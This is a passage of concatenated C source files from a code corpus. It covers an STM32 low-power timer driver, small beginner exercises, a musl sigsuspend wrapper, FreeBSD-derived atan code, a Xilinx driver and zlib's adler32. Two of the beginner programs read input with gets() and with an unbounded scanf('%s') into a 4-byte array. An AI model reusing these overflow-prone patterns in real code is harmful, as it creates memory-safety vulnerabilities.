RCC_PeriphCLKInitTypeDef RCC_PeriphCLKInitStruct = {0}; RCC_OscInitTypeDef RCC_OscInitStruct = {0}; #if MBED_CONF_TARGET_LSE_AVAILABLE /* Enable LSE clock */ RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_LSE; RCC_OscInitStruct.LSEState = RCC_LSE_ON; RCC_OscInitStruct.PLL.PLLState = RCC_PLL_NONE; /* Select the LSE clock as LPTIM peripheral clock */ RCC_PeriphCLKInitStruct.PeriphClockSelection = RCC_PERIPHCLK_LPTIM1; #if (TARGET_STM32L0) RCC_PeriphCLKInitStruct.LptimClockSelection = RCC_LPTIM1CLKSOURCE_LSE; #else RCC_PeriphCLKInitStruct.Lptim1ClockSelection = RCC_LPTIM1CLKSOURCE_LSE; #endif #else /* MBED_CONF_TARGET_LSE_AVAILABLE */ /* Enable LSI clock */ RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_LSI; RCC_OscInitStruct.LSIState = RCC_LSI_ON; RCC_OscInitStruct.PLL.PLLState = RCC_PLL_NONE; /* Select the LSI clock as LPTIM peripheral clock */ RCC_PeriphCLKInitStruct.PeriphClockSelection = RCC_PERIPHCLK_LPTIM1; #if (TARGET_STM32L0) RCC_PeriphCLKInitStruct.LptimClockSelection = RCC_LPTIM1CLKSOURCE_LSI; #else RCC_PeriphCLKInitStruct.Lptim1ClockSelection = RCC_LPTIM1CLKSOURCE_LSI; #endif #endif /* MBED_CONF_TARGET_LSE_AVAILABLE */ if (HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK) { error("HAL_RCC_OscConfig ERROR\n"); return; } if (HAL_RCCEx_PeriphCLKConfig(&RCC_PeriphCLKInitStruct) != HAL_OK) { error("HAL_RCCEx_PeriphCLKConfig ERROR\n"); return; } __HAL_RCC_LPTIM1_CLK_ENABLE(); __HAL_RCC_LPTIM1_FORCE_RESET(); __HAL_RCC_LPTIM1_RELEASE_RESET(); /* Initialize the LPTIM peripheral */ LptimHandle.Instance = LPTIM1; LptimHandle.State = HAL_LPTIM_STATE_RESET; LptimHandle.Init.Clock.Source = LPTIM_CLOCKSOURCE_APBCLOCK_LPOSC; #if defined(MBED_CONF_TARGET_LPTICKER_LPTIM_CLOCK) #if (MBED_CONF_TARGET_LPTICKER_LPTIM_CLOCK == 4) LptimHandle.Init.Clock.Prescaler = LPTIM_PRESCALER_DIV4; #elif (MBED_CONF_TARGET_LPTICKER_LPTIM_CLOCK == 2) LptimHandle.Init.Clock.Prescaler = LPTIM_PRESCALER_DIV2; #else LptimHandle.Init.Clock.Prescaler = LPTIM_PRESCALER_DIV1; #endif #else LptimHandle.Init.Clock.Prescaler = LPTIM_PRESCALER_DIV1; #endif /* MBED_CONF_TARGET_LPTICKER_LPTIM_CLOCK */ LptimHandle.Init.Trigger.Source = LPTIM_TRIGSOURCE_SOFTWARE; #if defined (LPTIM_ACTIVEEDGE_FALLING) LptimHandle.Init.Trigger.ActiveEdge = LPTIM_ACTIVEEDGE_FALLING; #endif #if defined (LPTIM_TRIGSAMPLETIME_DIRECTTRANSITION) LptimHandle.Init.Trigger.SampleTime = LPTIM_TRIGSAMPLETIME_DIRECTTRANSITION; #endif LptimHandle.Init.OutputPolarity = LPTIM_OUTPUTPOLARITY_HIGH; LptimHandle.Init.UpdateMode = LPTIM_UPDATE_IMMEDIATE; LptimHandle.Init.CounterSource = LPTIM_COUNTERSOURCE_INTERNAL; #if defined (LPTIM_INPUT1SOURCE_GPIO) /* STM32L4 */ LptimHandle.Init.Input1Source = LPTIM_INPUT1SOURCE_GPIO; LptimHandle.Init.Input2Source = LPTIM_INPUT2SOURCE_GPIO; #endif /* LPTIM_INPUT1SOURCE_GPIO */ if (HAL_LPTIM_Init(&LptimHandle) != HAL_OK) { error("HAL_LPTIM_Init ERROR\n"); return; } NVIC_SetVector(LPTIM1_IRQn, (uint32_t)LPTIM1_IRQHandler); #if defined (__HAL_LPTIM_WAKEUPTIMER_EXTI_ENABLE_IT) /* EXTI lines are not configured by default */ __HAL_LPTIM_WAKEUPTIMER_EXTI_ENABLE_IT(); #endif #if defined (__HAL_LPTIM_WAKEUPTIMER_EXTI_ENABLE_RISING_EDGE) __HAL_LPTIM_WAKEUPTIMER_EXTI_ENABLE_RISING_EDGE(); #endif __HAL_LPTIM_ENABLE_IT(&LptimHandle, LPTIM_IT_CMPM); __HAL_LPTIM_ENABLE_IT(&LptimHandle, LPTIM_IT_CMPOK); HAL_LPTIM_Counter_Start(&LptimHandle, 0xFFFF); /* Need to write a compare value in order to get LPTIM_FLAG_CMPOK in set_interrupt */ __HAL_LPTIM_CLEAR_FLAG(&LptimHandle, LPTIM_FLAG_CMPOK); __HAL_LPTIM_COMPARE_SET(&LptimHandle, 0); while (__HAL_LPTIM_GET_FLAG(&LptimHandle, LPTIM_FLAG_CMPOK) == RESET) { } __HAL_LPTIM_CLEAR_FLAG(&LptimHandle, LPTIM_FLAG_CMPOK); /* Init is called with Interrupts disabled, so the CMPOK interrupt * will not be handled. Let's mark it is now safe to write to LP counter */ lp_cmpok = true; } static void LPTIM1_IRQHandler(void) { core_util_critical_section_enter(); if (lp_Fired) { lp_Fired = 0; /* We're already in handler and interrupt might be pending, * so clear the flag, to avoid calling irq_handler twice */ __HAL_LPTIM_CLEAR_FLAG(&LptimHandle, LPTIM_FLAG_CMPM); lp_ticker_irq_handler(); } /* Compare match interrupt */ if (__HAL_LPTIM_GET_FLAG(&LptimHandle, LPTIM_FLAG_CMPM) != RESET) { if (__HAL_LPTIM_GET_IT_SOURCE(&LptimHandle, LPTIM_IT_CMPM) != RESET) { /* Clear Compare match flag */ __HAL_LPTIM_CLEAR_FLAG(&LptimHandle, LPTIM_FLAG_CMPM); lp_ticker_irq_handler(); } } if (__HAL_LPTIM_GET_FLAG(&LptimHandle, LPTIM_FLAG_CMPOK) != RESET) { if (__HAL_LPTIM_GET_IT_SOURCE(&LptimHandle, LPTIM_IT_CMPOK) != RESET) { __HAL_LPTIM_CLEAR_FLAG(&LptimHandle, LPTIM_FLAG_CMPOK); lp_cmpok = true; if (sleep_manager_locked) { sleep_manager_unlock_deep_sleep(); sleep_manager_locked = false; } if (lp_delayed_prog) { if (roll_over_flag) { /* If we were close to the roll over of the ticker counter * change current tick so it can be compared with buffer. * If this event got outdated fire interrupt right now, * else schedule it normally. */ if (lp_delayed_counter <= ((lp_ticker_read() + LP_TIMER_SAFE_GUARD + 1) & 0xFFFF)) { lp_ticker_fire_interrupt(); } else { lp_ticker_set_interrupt((lp_delayed_counter - LP_TIMER_SAFE_GUARD - 1) & 0xFFFF); } roll_over_flag = false; } else { if (future_event_flag && (lp_delayed_counter <= lp_ticker_read())) { /* If this event got outdated fire interrupt right now, * else schedule it normally. */ lp_ticker_fire_interrupt(); future_event_flag = false; } else { lp_ticker_set_interrupt(lp_delayed_counter); } } lp_delayed_prog = false; } } } #if defined (__HAL_LPTIM_WAKEUPTIMER_EXTI_CLEAR_FLAG) /* EXTI lines are not configured by default */ __HAL_LPTIM_WAKEUPTIMER_EXTI_CLEAR_FLAG(); #endif core_util_critical_section_exit(); } uint32_t lp_ticker_read(void) { uint32_t lp_time = LPTIM1->CNT; /* Reading the LPTIM_CNT register may return unreliable values. It is necessary to perform two consecutive read accesses and verify that the two returned values are identical */ while (lp_time != LPTIM1->CNT) { lp_time = LPTIM1->CNT; } return lp_time; } /* This function should always be called from critical section */ void lp_ticker_set_interrupt(timestamp_t timestamp) { core_util_critical_section_enter(); timestamp_t last_read_counter = lp_ticker_read(); /* Always store the last requested timestamp */ lp_delayed_counter = timestamp; NVIC_EnableIRQ(LPTIM1_IRQn); /* CMPOK is set by hardware to inform application that the APB bus write operation to the * LPTIM_CMP register has been successfully completed. * Any successive write before the CMPOK flag be set, will lead to unpredictable results * We need to prevent to set a new comparator value before CMPOK flag is set by HW */ if (lp_cmpok == false) { /* if this is not safe to write, then delay the programing to the * time when CMPOK interrupt will trigger */ /* If this target timestamp is close to the roll over of the ticker counter * and current tick is also close to the roll over, then we are in danger zone.*/ if (((0xFFFF - LP_TIMER_SAFE_GUARD < timestamp) || (timestamp < LP_TIMER_SAFE_GUARD)) && (0xFFFA < last_read_counter)) { roll_over_flag = true; /* Change the lp_delayed_counter buffer in that way so the value of (0xFFFF - LP_TIMER_SAFE_GUARD) is equal to 0. * By doing this it is easy to check if the value of timestamp get outdated by delaying its programming * For example if LP_TIMER_SAFE_GUARD is set to 5 * (0xFFFA + LP_TIMER_SAFE_GUARD + 1) & 0xFFFF = 0 * (0xFFFF + LP_TIMER_SAFE_GUARD + 1) & 0xFFFF = 5 * (0x0000 + LP_TIMER_SAFE_GUARD + 1) & 0xFFFF = 6 * (0x0005 + LP_TIMER_SAFE_GUARD + 1) & 0xFFFF = 11*/ lp_delayed_counter = (timestamp + LP_TIMER_SAFE_GUARD + 1) & 0xFFFF; } else { roll_over_flag = false; /* Check if event was meant to be in the past. */ if (lp_delayed_counter >= last_read_counter) { future_event_flag = true; } else { future_event_flag = false; } } lp_delayed_prog = true; } else { lp_ticker_clear_interrupt(); /* HW is not able to trig a very short term interrupt, that is * not less than few ticks away (LP_TIMER_SAFE_GUARD). So let's make sure it' * s at least current tick + LP_TIMER_SAFE_GUARD */ for (uint8_t i = 0; i < LP_TIMER_SAFE_GUARD; i++) { if (LP_TIMER_WRAP((last_read_counter + i)) == timestamp) { timestamp = LP_TIMER_WRAP((timestamp + LP_TIMER_SAFE_GUARD)); } } /* Then check if this target timestamp is not in the past, or close to wrap-around * Let's assume last_read_counter = 0xFFFC, and we want to program timestamp = 0x100 * The interrupt will not fire before the CMPOK flag is OK, so there are 2 cases: * in case CMPOK flag is set by HW after or at wrap-around, then this will fire only @0x100 * in case CMPOK flag is set before, it will indeed fire early, as for the wrap-around case. * But that will take at least 3 cycles and the interrupt fires at the end of a cycle. * In our case 0xFFFC + 3 => at the transition between 0xFFFF and 0. * If last_read_counter was 0xFFFB, it should be at the transition between 0xFFFE and 0xFFFF. * There might be crossing cases where it would also fire @ 0xFFFE, but by the time we read the counter, * it may already have moved to the next one, so for now we've taken this as margin of error. */ if ((timestamp < last_read_counter) && (last_read_counter <= (0xFFFF - LP_TIMER_SAFE_GUARD))) { /* Workaround, because limitation */ __HAL_LPTIM_COMPARE_SET(&LptimHandle, ~0); } else { /* It is safe to write */ __HAL_LPTIM_COMPARE_SET(&LptimHandle, timestamp); } /* We just programed the CMP so we'll need to wait for cmpok before * next programing */ lp_cmpok = false; /* Prevent from sleeping after compare register was set as we need CMPOK * interrupt to fire (in ~3x30us cycles) before we can safely enter deep sleep mode */ if (!sleep_manager_locked) { sleep_manager_lock_deep_sleep(); sleep_manager_locked = true; } } core_util_critical_section_exit(); } void lp_ticker_fire_interrupt(void) { core_util_critical_section_enter(); lp_Fired = 1; /* In case we fire interrupt now, then cancel pending programing */ lp_delayed_prog = false; NVIC_SetPendingIRQ(LPTIM1_IRQn); NVIC_EnableIRQ(LPTIM1_IRQn); core_util_critical_section_exit(); } void lp_ticker_disable_interrupt(void) { core_util_critical_section_enter(); if (!lp_cmpok) { while (__HAL_LPTIM_GET_FLAG(&LptimHandle, LPTIM_FLAG_CMPOK) == RESET) { } __HAL_LPTIM_CLEAR_FLAG(&LptimHandle, LPTIM_FLAG_CMPOK); lp_cmpok = true; } /* now that CMPOK is set, allow deep sleep again */ if (sleep_manager_locked) { sleep_manager_unlock_deep_sleep(); sleep_manager_locked = false; } lp_delayed_prog = false; lp_Fired = 0; NVIC_DisableIRQ(LPTIM1_IRQn); NVIC_ClearPendingIRQ(LPTIM1_IRQn); core_util_critical_section_exit(); } void lp_ticker_clear_interrupt(void) { core_util_critical_section_enter(); __HAL_LPTIM_CLEAR_FLAG(&LptimHandle, LPTIM_FLAG_CMPM); NVIC_ClearPendingIRQ(LPTIM1_IRQn); core_util_critical_section_exit(); } void lp_ticker_free(void) { lp_ticker_disable_interrupt(); } /*****************************************************************/ /* lpticker_lptim config is 0 or not defined in json config file */ /* LPTICKER is based on RTC wake up feature from ST drivers */ #else /* MBED_CONF_TARGET_LPTICKER_LPTIM */ #include "rtc_api_hal.h" const ticker_info_t *lp_ticker_get_info() { static const ticker_info_t info = { RTC_CLOCK / 4, // RTC_WAKEUPCLOCK_RTCCLK_DIV4 32 }; return &info; } void lp_ticker_init(void) { rtc_init(); lp_ticker_disable_interrupt(); } uint32_t lp_ticker_read(void) { return rtc_read_lp(); } void lp_ticker_set_interrupt(timestamp_t timestamp) { rtc_set_wake_up_timer(timestamp); } void lp_ticker_fire_interrupt(void) { rtc_fire_interrupt(); } void lp_ticker_disable_interrupt(void) { rtc_deactivate_wake_up_timer(); } void lp_ticker_clear_interrupt(void) { lp_ticker_disable_interrupt(); } void lp_ticker_free(void) { lp_ticker_disable_interrupt(); } #endif /* MBED_CONF_TARGET_LPTICKER_LPTIM */ #endif /* DEVICE_LPTICKER */
the_stack_data/117329054.c
#include <stdio.h> #include <stdlib.h> int main(void) { //char *s = malloc(sizeof(char) * 4); char s[4]; printf("s: "); scanf("%s", s); printf("s: %s\n", s); // free(s) }
the_stack_data/20450867.c
#include <assert.h> int main() { char foo[(1 + sizeof "foo") / 2]; assert(sizeof foo == 2); return 0; }
the_stack_data/248581366.c
/*delete element*/ #include<stdio.h> int main(){ int n; printf("enter value of n: "); scanf("%d", &n); int a[n]; for(int i=0; i<n; i++){ printf("enter character: "); scanf("%d ", &a[i]); } int ind; printf("enter index to be deleted: "); scanf("%d", &ind); for(int i=ind; i<n-1; i++) a[i]=a[i+1]; for(int i=0; i<n-1; i++) printf("%d ", a[i]); }
the_stack_data/86074699.c
int x = 'c'; char x2 = 'x';
the_stack_data/153268611.c
#include <stdio.h> #include <stdlib.h> int main(void) { FILE *fp; char name[100]; char ch; long n; long length; puts("Enter the text file name to open:"); gets(name); if ((fp = fopen(name, "r")) == NULL) { fprintf(stderr, "Cannot open file %s\n", name); exit(EXIT_FAILURE); } fseek(fp, 0L, SEEK_END); length = ftell(fp) - 1; rewind(fp); puts("Enter the number of characters you want to skip"); puts("I will print out the remaining till the end of line"); printf("File length is %ld\n", length); while (scanf("%ld", &n) == 1) { if (n <= length) { fseek(fp, n, SEEK_SET); while ((ch = getc(fp)) != '\n') putchar(ch); rewind(fp); puts("\nEnter the number of characters you want to skip"); } else printf("%ld is exceeding the file length. Try again.\n", n); } fclose(fp); return 0; }
the_stack_data/184517594.c
// case III : non-uniform error or all sigma[i] are unique #include<stdio.h> #include<math.h> int main() { int i,n=7; // no of points double x[]={1,2,3,4,5,6,7}; double y[]={4,5,8,16,30,38,70}; double sigma[]={2,2,3,3,4,5,5}; // for expontial fitting for(i=0;i<n;i++) { y[i]=log(y[i]); } // FILE*fp=NULL; // fp=fopen("3.txt","w"); // summing double weight,X=0,Y=0,XY=0,X2=0,w=0; for(i=0;i<n;i++) { weight=1/pow(sigma[i],2); X += x[i]*weight; X2 += x[i]*x[i]*weight; Y += y[i]*weight; XY += x[i]*y[i]*weight; w += weight; } // expected values X /= w; X2 /= w; Y /= w; XY /= w; double a0,a1; // unknowns to find a0=(Y*X2-X*XY)/(X2-X*X); a1=(XY-X*Y)/(X2-X*X); a0=exp(a0); printf("The coefficients a0=%lf\ta1=%lf\n",a0,a1); // calculating the fitted points // for (i=0;i<n;i++){ // y[i]=a0+a1*x[i]; // fprintf(fp,"%lf\t%lf\n",x[i],y[i]); // } }
the_stack_data/26419.c
#include <signal.h> #include "syscall.h" int sigsuspend(const sigset_t *mask) { return syscall_cp(SYS_rt_sigsuspend, mask, _NSIG/8); }
the_stack_data/147862.c
// atan.c // Math functions: // - atan // - atan2 // - floor /* Math function compilation with minor modification for Prayer Times * By Abdullah Daud, [email protected] * 21 November 2018 * Source https://github.com/micropython/micropython/tree/master/lib/libm_dbl */ /* origin: FreeBSD /usr/src/lib/msun/src/s_atan.c */ /* * ==================================================== * Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved. * * Developed at SunPro, a Sun Microsystems, Inc. business. * Permission to use, copy, modify, and distribute this * software is freely granted, provided that this notice * is preserved. * ==================================================== */ /* atan(x) * Method * 1. Reduce x to positive by atan(x) = -atan(-x). * 2. According to the integer k=4t+0.25 chopped, t=x, the argument * is further reduced to one of the following intervals and the * arctangent of t is evaluated by the corresponding formula: * * [0,7/16] atan(x) = t-t^3*(a1+t^2*(a2+...(a10+t^2*a11)...) * [7/16,11/16] atan(x) = atan(1/2) + atan( (t-0.5)/(1+t/2) ) * [11/16.19/16] atan(x) = atan( 1 ) + atan( (t-1)/(1+t) ) * [19/16,39/16] atan(x) = atan(3/2) + atan( (t-1.5)/(1+1.5t) ) * [39/16,INF] atan(x) = atan(INF) + atan( -1/t ) * * Constants: * The hexadecimal values are the intended ones for the following * constants. The decimal values may be used, provided that the * compiler will convert from decimal to binary accurately enough * to produce the hexadecimal values shown. */ #include <stdint.h> float p_nan(void); double p_abs(double v); int isnan(double v) { return v == p_nan() ? 1 : 0; } #define FORCE_EVAL(x) do { \ if (sizeof(x) == sizeof(float)) { \ volatile float __x; \ __x = (x); \ (void)__x; \ } else if (sizeof(x) == sizeof(double)) { \ volatile double __x; \ __x = (x); \ (void)__x; \ } else { \ volatile long double __x; \ __x = (x); \ (void)__x; \ } \ } while(0) /* Get two 32 bit ints from a double. */ #define EXTRACT_WORDS(hi,lo,d) \ do { \ union {double f; uint64_t i;} __u; \ __u.f = (d); \ (hi) = __u.i >> 32; \ (lo) = (uint32_t)__u.i; \ } while (0) /* Get the more significant 32 bit int from a double. */ #define GET_HIGH_WORD(hi,d) \ do { \ union {double f; uint64_t i;} __u; \ __u.f = (d); \ (hi) = __u.i >> 32; \ } while (0) static const double atanhi[] = { 4.63647609000806093515e-01, /* atan(0.5)hi 0x3FDDAC67, 0x0561BB4F */ 7.85398163397448278999e-01, /* atan(1.0)hi 0x3FE921FB, 0x54442D18 */ 9.82793723247329054082e-01, /* atan(1.5)hi 0x3FEF730B, 0xD281F69B */ 1.57079632679489655800e+00, /* atan(inf)hi 0x3FF921FB, 0x54442D18 */ }; static const double atanlo[] = { 2.26987774529616870924e-17, /* atan(0.5)lo 0x3C7A2B7F, 0x222F65E2 */ 3.06161699786838301793e-17, /* atan(1.0)lo 0x3C81A626, 0x33145C07 */ 1.39033110312309984516e-17, /* atan(1.5)lo 0x3C700788, 0x7AF0CBBD */ 6.12323399573676603587e-17, /* atan(inf)lo 0x3C91A626, 0x33145C07 */ }; static const double aT[] = { 3.33333333333329318027e-01, /* 0x3FD55555, 0x5555550D */ -1.99999999998764832476e-01, /* 0xBFC99999, 0x9998EBC4 */ 1.42857142725034663711e-01, /* 0x3FC24924, 0x920083FF */ -1.11111104054623557880e-01, /* 0xBFBC71C6, 0xFE231671 */ 9.09088713343650656196e-02, /* 0x3FB745CD, 0xC54C206E */ -7.69187620504482999495e-02, /* 0xBFB3B0F2, 0xAF749A6D */ 6.66107313738753120669e-02, /* 0x3FB10D66, 0xA0D03D51 */ -5.83357013379057348645e-02, /* 0xBFADDE2D, 0x52DEFD9A */ 4.97687799461593236017e-02, /* 0x3FA97B4B, 0x24760DEB */ -3.65315727442169155270e-02, /* 0xBFA2B444, 0x2C6A6C2F */ 1.62858201153657823623e-02, /* 0x3F90AD3A, 0xE322DA11 */ }; double p_atan(double x) { double w,s1,s2,z; uint32_t ix,sign; int id; GET_HIGH_WORD(ix, x); sign = ix >> 31; ix &= 0x7fffffff; if (ix >= 0x44100000) { /* if |x| >= 2^66 */ if (isnan(x)) return x; z = atanhi[3] + 0x1p-120f; return sign ? -z : z; } if (ix < 0x3fdc0000) { /* |x| < 0.4375 */ if (ix < 0x3e400000) { /* |x| < 2^-27 */ if (ix < 0x00100000) /* raise underflow for subnormal x */ FORCE_EVAL((float)x); return x; } id = -1; } else { x = p_abs(x); if (ix < 0x3ff30000) { /* |x| < 1.1875 */ if (ix < 0x3fe60000) { /* 7/16 <= |x| < 11/16 */ id = 0; x = (2.0*x-1.0)/(2.0+x); } else { /* 11/16 <= |x| < 19/16 */ id = 1; x = (x-1.0)/(x+1.0); } } else { if (ix < 0x40038000) { /* |x| < 2.4375 */ id = 2; x = (x-1.5)/(1.0+1.5*x); } else { /* 2.4375 <= |x| < 2^66 */ id = 3; x = -1.0/x; } } } /* end of argument reduction */ z = x*x; w = z*z; /* break sum from i=0 to 10 aT[i]z**(i+1) into odd and even poly */ s1 = z*(aT[0]+w*(aT[2]+w*(aT[4]+w*(aT[6]+w*(aT[8]+w*aT[10]))))); s2 = w*(aT[1]+w*(aT[3]+w*(aT[5]+w*(aT[7]+w*aT[9])))); if (id < 0) return x - x*(s1+s2); z = atanhi[id] - (x*(s1+s2) - atanlo[id] - x); return sign ? -z : z; } /* origin: FreeBSD /usr/src/lib/msun/src/e_atan2.c */ /* * ==================================================== * Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved. * * Developed at SunSoft, a Sun Microsystems, Inc. business. * Permission to use, copy, modify, and distribute this * software is freely granted, provided that this notice * is preserved. * ==================================================== * */ /* atan2(y,x) * Method : * 1. Reduce y to positive by atan2(y,x)=-atan2(-y,x). * 2. Reduce x to positive by (if x and y are unexceptional): * ARG (x+iy) = arctan(y/x) ... if x > 0, * ARG (x+iy) = pi - arctan[y/(-x)] ... if x < 0, * * Special cases: * * ATAN2((anything), NaN ) is NaN; * ATAN2(NAN , (anything) ) is NaN; * ATAN2(+-0, +(anything but NaN)) is +-0 ; * ATAN2(+-0, -(anything but NaN)) is +-pi ; * ATAN2(+-(anything but 0 and NaN), 0) is +-pi/2; * ATAN2(+-(anything but INF and NaN), +INF) is +-0 ; * ATAN2(+-(anything but INF and NaN), -INF) is +-pi; * ATAN2(+-INF,+INF ) is +-pi/4 ; * ATAN2(+-INF,-INF ) is +-3pi/4; * ATAN2(+-INF, (anything but,0,NaN, and INF)) is +-pi/2; * * Constants: * The hexadecimal values are the intended ones for the following * constants. The decimal values may be used, provided that the * compiler will convert from decimal to binary accurately enough * to produce the hexadecimal values shown. */ static const double pi = 3.1415926535897931160E+00, /* 0x400921FB, 0x54442D18 */ pi_lo = 1.2246467991473531772E-16; /* 0x3CA1A626, 0x33145C07 */ double p_atan2(double y, double x) { double z; uint32_t m,lx,ly,ix,iy; if (isnan(x) || isnan(y)) return x+y; EXTRACT_WORDS(ix, lx, x); EXTRACT_WORDS(iy, ly, y); if (((ix-0x3ff00000) | lx) == 0) /* x = 1.0 */ return p_atan(y); m = ((iy>>31)&1) | ((ix>>30)&2); /* 2*sign(x)+sign(y) */ ix = ix & 0x7fffffff; iy = iy & 0x7fffffff; /* when y = 0 */ if ((iy|ly) == 0) { switch(m) { case 0: case 1: return y; /* atan(+-0,+anything)=+-0 */ case 2: return pi; /* atan(+0,-anything) = pi */ case 3: return -pi; /* atan(-0,-anything) =-pi */ } } /* when x = 0 */ if ((ix|lx) == 0) return m&1 ? -pi/2 : pi/2; /* when x is INF */ if (ix == 0x7ff00000) { if (iy == 0x7ff00000) { switch(m) { case 0: return pi/4; /* atan(+INF,+INF) */ case 1: return -pi/4; /* atan(-INF,+INF) */ case 2: return 3*pi/4; /* atan(+INF,-INF) */ case 3: return -3*pi/4; /* atan(-INF,-INF) */ } } else { switch(m) { case 0: return 0.0; /* atan(+...,+INF) */ case 1: return -0.0; /* atan(-...,+INF) */ case 2: return pi; /* atan(+...,-INF) */ case 3: return -pi; /* atan(-...,-INF) */ } } } /* |y/x| > 0x1p64 */ if (ix+(64<<20) < iy || iy == 0x7ff00000) return m&1 ? -pi/2 : pi/2; /* z = atan(|y/x|) without spurious underflow */ if ((m&2) && iy+(64<<20) < ix) /* |y/x| < 0x1p-64, x<0 */ z = 0; else z = p_atan(p_abs(y/x)); switch (m) { case 0: return z; /* atan(+,+) */ case 1: return -z; /* atan(-,+) */ case 2: return pi - (z-pi_lo); /* atan(+,-) */ default: /* case 3 */ return (z-pi_lo) - pi; /* atan(-,-) */ } } #define DBL_EPSILON 2.22044604925031308085e-16 static const double toint = 1/DBL_EPSILON; double p_floor(double x) { union {double f; uint64_t i;} u = {x}; int e = u.i >> 52 & 0x7ff; double y; if (e >= 0x3ff+52 || x == 0) return x; /* y = int(x) - x, where int(x) is an integer neighbor of x */ if (u.i >> 63) y = x - toint + toint - x; else y = x + toint - toint - x; /* special case because of non-nearest rounding modes */ if (e <= 0x3ff-1) { FORCE_EVAL(y); return u.i >> 63 ? -1 : 0; } if (y > 0) return x + y - 1; return x + y; }
the_stack_data/25136483.c
// ============================================================== // File generated by Vivado(TM) HLS - High-Level Synthesis from C, C++ and SystemC // Version: 2018.1 // Copyright (C) 1986-2018 Xilinx, Inc. All Rights Reserved. // // ============================================================== #ifndef __linux__ #include "xstatus.h" #include "xparameters.h" #include "xresize_accel.h" extern XResize_accel_Config XResize_accel_ConfigTable[]; XResize_accel_Config *XResize_accel_LookupConfig(u16 DeviceId) { XResize_accel_Config *ConfigPtr = NULL; int Index; for (Index = 0; Index < XPAR_XRESIZE_ACCEL_NUM_INSTANCES; Index++) { if (XResize_accel_ConfigTable[Index].DeviceId == DeviceId) { ConfigPtr = &XResize_accel_ConfigTable[Index]; break; } } return ConfigPtr; } int XResize_accel_Initialize(XResize_accel *InstancePtr, u16 DeviceId) { XResize_accel_Config *ConfigPtr; Xil_AssertNonvoid(InstancePtr != NULL); ConfigPtr = XResize_accel_LookupConfig(DeviceId); if (ConfigPtr == NULL) { InstancePtr->IsReady = 0; return (XST_DEVICE_NOT_FOUND); } return XResize_accel_CfgInitialize(InstancePtr, ConfigPtr); } #endif
the_stack_data/86075511.c
/* adler32.c -- compute the Adler-32 checksum of a data stream * Copyright (C) 1995-2004 Mark Adler * For conditions of distribution and use, see copyright notice in zlib.h */ /* @(#) $Id$ */ #define ZLIB_INTERNAL #include "zlib.h" #define BASE 65521UL /* largest prime smaller than 65536 */ #define NMAX 5552 /* NMAX is the largest n such that 255n(n+1)/2 + (n+1)(BASE-1) <= 2^32-1 */ #define DO1(buf,i) {adler += (buf)[i]; sum2 += adler;} #define DO2(buf,i) DO1(buf,i); DO1(buf,i+1); #define DO4(buf,i) DO2(buf,i); DO2(buf,i+2); #define DO8(buf,i) DO4(buf,i); DO4(buf,i+4); #define DO16(buf) DO8(buf,0); DO8(buf,8); /* use NO_DIVIDE if your processor does not do division in hardware */ #ifdef NO_DIVIDE # define MOD(a) \ do { \ if (a >= (BASE << 16)) a -= (BASE << 16); \ if (a >= (BASE << 15)) a -= (BASE << 15); \ if (a >= (BASE << 14)) a -= (BASE << 14); \ if (a >= (BASE << 13)) a -= (BASE << 13); \ if (a >= (BASE << 12)) a -= (BASE << 12); \ if (a >= (BASE << 11)) a -= (BASE << 11); \ if (a >= (BASE << 10)) a -= (BASE << 10); \ if (a >= (BASE << 9)) a -= (BASE << 9); \ if (a >= (BASE << 8)) a -= (BASE << 8); \ if (a >= (BASE << 7)) a -= (BASE << 7); \ if (a >= (BASE << 6)) a -= (BASE << 6); \ if (a >= (BASE << 5)) a -= (BASE << 5); \ if (a >= (BASE << 4)) a -= (BASE << 4); \ if (a >= (BASE << 3)) a -= (BASE << 3); \ if (a >= (BASE << 2)) a -= (BASE << 2); \ if (a >= (BASE << 1)) a -= (BASE << 1); \ if (a >= BASE) a -= BASE; \ } while (0) # define MOD4(a) \ do { \ if (a >= (BASE << 4)) a -= (BASE << 4); \ if (a >= (BASE << 3)) a -= (BASE << 3); \ if (a >= (BASE << 2)) a -= (BASE << 2); \ if (a >= (BASE << 1)) a -= (BASE << 1); \ if (a >= BASE) a -= BASE; \ } while (0) #else # define MOD(a) a %= BASE # define MOD4(a) a %= BASE #endif /* ========================================================================= */ /* The adler32 code below computes, in effect, uLong high = 0; uLong low = 1; for (j = 0; j < len; j++) { low = (low + buf[j]) % BASE; high = (high + low) % BASE; } checksum = (high << 16) | low; Both 16-bit halves of the checksum are between 0 and BASE-1 (inclusive). Hence, the minimum possible checksum value is 0, and the maximum is ((BASE-1) << 16) | (BASE-1). Applications may have reserved values outside this range to carry special meanings. NOTE: If adler32() is changed in ANY way, be absolutely sure that the change will NOT cause checksums previously stored to not match the data they were originally intended to match, or expand the range in such a way that values reserved by applications to carry special meanings now become checksums of valid data. Also, be sure to change adler32_range() accordingly. This explanation and adler32_range() are not part of original software distribution. They are added at Google (2006) in accordance with the copyright notice in zlib.h, which permits alteration and redistribution of the original software provided, among other things, that altered source versions must be plainly marked as such and not misrepresented as being the original software. */ void ZEXPORT adler32_range(min, max) uLong *min; uLong *max; { *min = 0L; *max = ((BASE-1) << 16) | (BASE-1); } uLong ZEXPORT adler32(adler, buf, len) uLong adler; const Bytef *buf; uInt len; { unsigned long sum2; unsigned n; /* split Adler-32 into component sums */ sum2 = (adler >> 16) & 0xffff; adler &= 0xffff; /* in case user likes doing a byte at a time, keep it fast */ if (len == 1) { adler += buf[0]; if (adler >= BASE) adler -= BASE; sum2 += adler; if (sum2 >= BASE) sum2 -= BASE; return adler | (sum2 << 16); } /* initial Adler-32 value (deferred check for len == 1 speed) */ if (buf == Z_NULL) return 1L; /* in case short lengths are provided, keep it somewhat fast */ if (len < 16) { while (len--) { adler += *buf++; sum2 += adler; } if (adler >= BASE) adler -= BASE; MOD4(sum2); /* only added so many BASE's */ return adler | (sum2 << 16); } /* do length NMAX blocks -- requires just one modulo operation */ while (len >= NMAX) { len -= NMAX; n = NMAX / 16; /* NMAX is divisible by 16 */ do { DO16(buf); /* 16 sums unrolled */ buf += 16; } while (--n); MOD(adler); MOD(sum2); } /* do remaining bytes (less than NMAX, still just one modulo) */ if (len) { /* avoid modulos if none remaining */ while (len >= 16) { len -= 16; DO16(buf); buf += 16; } while (len--) { adler += *buf++; sum2 += adler; } MOD(adler); MOD(sum2); } /* return recombined 